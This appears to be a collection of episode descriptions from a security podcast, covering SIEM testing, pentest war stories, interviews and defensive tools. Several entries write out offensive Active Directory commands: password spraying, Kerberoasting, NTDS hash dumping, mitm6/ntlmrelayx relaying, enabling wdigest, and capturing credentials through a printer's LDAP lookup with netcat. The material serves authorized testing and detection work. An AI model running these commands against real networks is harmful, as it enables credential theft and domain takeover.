7 Minute Security

Today we talk about Simple Ways to Test Your SIEM. Feel free to check out the YouTube version of this presentation, as well as our interview with Matt from Blumira for even more context, but here are the essential tools and commands covered: Port scanning nmap 10.0.7.0/24 - basic nmap scan massscan -p1-65535,U:1-65535 --rate=1000 10.0.7.0/24 -v - scan all 65k+ TCP and UDP ports! Password spraying Rubeus.exe spray /password:Winter2022! /outfile:pwned.txt - try to log into all AD accounts one time with Winter2022! as the password, and save any pwned creds to pwned.txt Kerberoasting and ASREPRoasting rubeus.exe kerberoast /simple rubeus asreproast /nowrap Key group membership changes net group "GROUP NAME" user-to-add-to-a-group /add Dump Active Directory hashes cme smb IP.OF.THE.DOMAINCONTROLLER -u user -p password --ntds --enabled ntdsutil "ac i ntds" "ifm" "create full c:\dc-backup" q q SMB share hunting Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\output - SMB enumeration using PowerHuntShares

Hey friends, today's episode is hosted by an AI from Murf.ai because I suffered a throat injury over the holidays and spent Christmas morning in the emergency room! TLDL: I'm fine, but if you want the (sort of) gory details and an update on my condition after my ENT appointment, check out today's episode. Otherwise, we'll see you next week when our regularly scheduled security content continues in 2023. Merry belated Christmas, happy holidays and happiest of new year to you and yours!

Today's tale of pentest pwnage covers some of the following attacks/tools: Teleseer for packet capture visualizations on steroids! Copernic Desktop Search Running Responder as Responder.py -I eth0 -A will analyze traffic but not poison it I like to run mitm6 in one window with mitm6.py -i eth0 -d mydomain.com --no-ra --ignore-nofqdn and then in another window I do ntlmrelayx.py -6 -wh doesntexist -t ldaps://ip.of.the.dc -smb2support --delegate-access > relaysRphun.log - that way I always have a log of everything happening during the mitm6 attack Vast.ai looks to be a cost-effective way to crack hashes in the cloud (haven't tested it myself yet)

Today we welcome our pal Matthew Warner (CTO and co-founder of Blumira) back to the show for a third time (his first appearance was #507 and second was #529). I complained to Matt about how so many SIEM/SOC solutions don't catch early warning signs of evil things lurking in customer networks. Specifically, I whined about 7 specific, oft-missed attacks like port scanning, Kerberoasting, ASREPRoasting, password spraying and more. (Shameless self-promotion opportunity: I will be discussing these attacks on an upcoming livestream on December 29). Matt dives into each of these attacks and shares some fantastic insights into what they look like from a defensive perspective, and also offers practical strategies and tools for detecting them! Note: during the discussion, Matt points out a lot of important Active Directory groups to keep an eye on from a membership point of view. Those groups include: ASAAdmins Account Operators Administrators Administrators Backup Operators Cert Publishers Certificate Service DCOM DH

Will we do it again? Who knows. But anyway, we had a fun time talking about things that have gone not so well during pentesting lately, specifically: Things we keep getting caught doing (and some potential ways to not get caught!

This is not a brag or a flex, but this episode covers a coveted achievement I haven't achieved in my whole life...until now: TDAD: Triple Domain Admin Dance!!!!1111!!!1!1!!!! We talk about the fun attack path that led to the TDAD (hint: always check Active Directory user description fields!), as well as a couple quick, non-spoilery reviews of a few movies: V for Vendetta and The Black Phone.

TLDL: get into a printer interface, adjust the LDAP lookup IP to be your Kali box, run nc -lvp 389 on your Kali box, and then "test" the credentials via the printer interface in order to (potentially) capture an Active Directory cred! Today we also define an achievement that's fun to unlock called DDAD: Double Domain Admin Dance.

He cut his IT/security teeth working for a cell phone company, exorcising malware demons out of workstations, and even building an email-based SIEM. He has had a very cool career path that involves embracing newbness, pushing aside imposter syndrome, and even begging for jobs! I think this interview can best be summed up by a direct quote from Nato: "Things absolutely go wrong, and I think that's what deters people from trying. But just because something goes wrong, doesn't mean you're necessarily going to die from it. So why not try?"

Specifically, we focus on keeping that bloated email inbox a little more lean and mean. There are lots of tools/services to help with this, but we had a blast playing with MailStore (not a sponsor but we'd like them to be:-).

Today we're excited to kick off a new series all about blue team bliss - in other words, we're talking about pentest stories where the blue team controls kicked our butt a little bit! Topics include: The ms-ds-machineaccount-quota value is not an "all or nothing" option! Check out Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment > Add workstations to domain. We installed LAPS on Twitch last week and it went pretty well! We'll do it again in an upcoming livestream. Defensive security tools that can interrupt the SharpHound collection! EDRs are pretty awesome at catching bad stuff - and going into full "shields up" mode when they're irritated!

Today we revisit a series we haven’t touched in a long time all about eating the security dog food. TLDL about this series is I often find myself preaching security best practices, but don’t always follow them as a consultancy. So today we talk about: How the internal 7MS infosec policy development is coming along Why I’m no longer going to be “product agnostic” going forward Some first impressions of a new tool I’m trying called ITGlue (not a sponsor) How to start building a critical asset list - and how it shouldn’t overlook things like domain names and LetsEncrypt certs Also, don’t forget we are doing weekly livestreams on security topics!

Hey friends! Today we're giving you a first impressions episode all about Airlock Digital, an application allowlisting solution. They were kind enough to let us play with it in our lab with the intention of exploring its bells and whistles, so we're excited to report back our findings in podcast form. TLDL: we really like this solution! It is easy to deploy (see this YouTube video for a quick walkthrough). Once I had it going in the lab, I tried administering it without reading any of the documentation, and figured out most of the workflows with ease. I just ran into a couple questions that the Airlock folks were great about answering quickly. I want to better understand the "Microsoft way" to do application allowlisting - using their standard offering or something like AaronLocker. But several colleagues have told me they had "OMG moments" where a C-level staff member suddenly needed to run something like ringcentral.exe and they weren't able to because of app blocklisting. It then becomes difficult to quick

In today's episode we share some tips we've picked up in the last few weeks of pentesting, with hopes it will save you from at least a few rounds of smashing your face into the keyboard. Tips include: If you find yourself with "owns" rights to a bajillion hosts in BloodHound, this query will give you a nice list of those systems, one system per line: cat export-from-bloodhound.json | jq '.nodes[].label' | tr -d '"' Then you can scan with nmap to find the "live" hosts: nmap -sn -iL targets.txt For resource based constrained delegation attacks, check out this episode of pwnage for some step-by-step instructions. If you have RBCD admin access to victim systems, don't forget that CrackMapExec support Kerberos! So you can do stuff like: cme smb VICTIM-SYSTEM -k --sam or cme smb VICTIM-SYSTEM -k -M wdigest -M ACTION=enable Take the time to search SMB shares with something like PowerHuntShares. If you have write access in places, drop an SCF file to capture/pass hashes! Looking to privilege escalate whil

Today we're so excited to welcome Amanda Berlin, Lead Incident Detection Engineer at Blumira, back to the show (did you miss Amanda's first appearance on the show?  Check it out here)!  You might already be familiar with Amanda's awesome Defensive Security Handbook or her work with the Mental Health Hackers organization.  Today we virtually sat down to tackle a variety of topics and questions, including: What if HAFNIUM2 comes out today and only affects 2 specific versions of Exchange?  Does Blumira buy every software/hardware thingy out there and have an evil scientist lab where they test out all these different exploits, and then create detections for them? Can an old, out-of-touch security guy like me still find a place at the Vegas hacker conferences (even though I hate lines, heat, crowds and partying)?  Spoiler alert: yes. Are security vendors more likely to share their software/hardware security services with a defensive security group like Blumira, rather than pentesters like 7MinSec? Does Amanda thi

Today's episode covers three remediation-focused topics that kind of grind my gears and/or get me frustrated with myself. I'm curious for your thoughts on these, so reach out via Slack or Twitter and maybe we'll do a future live stream on this topic. How do you get clients to actually care when we explain the threats on their network that are a literal 10/10 on the CVSS scale? Password policies - they're not just as easy as "Have a password of X length with Y complexity." Fixing the various broadcast traffic and protocol issues that give us easy wins with Responder and mitm6 - it's more nuanced than just "Disable LLMNR/NETBIOS/MDNS and shut off IPv6." This article discusses these challenges in more detail.
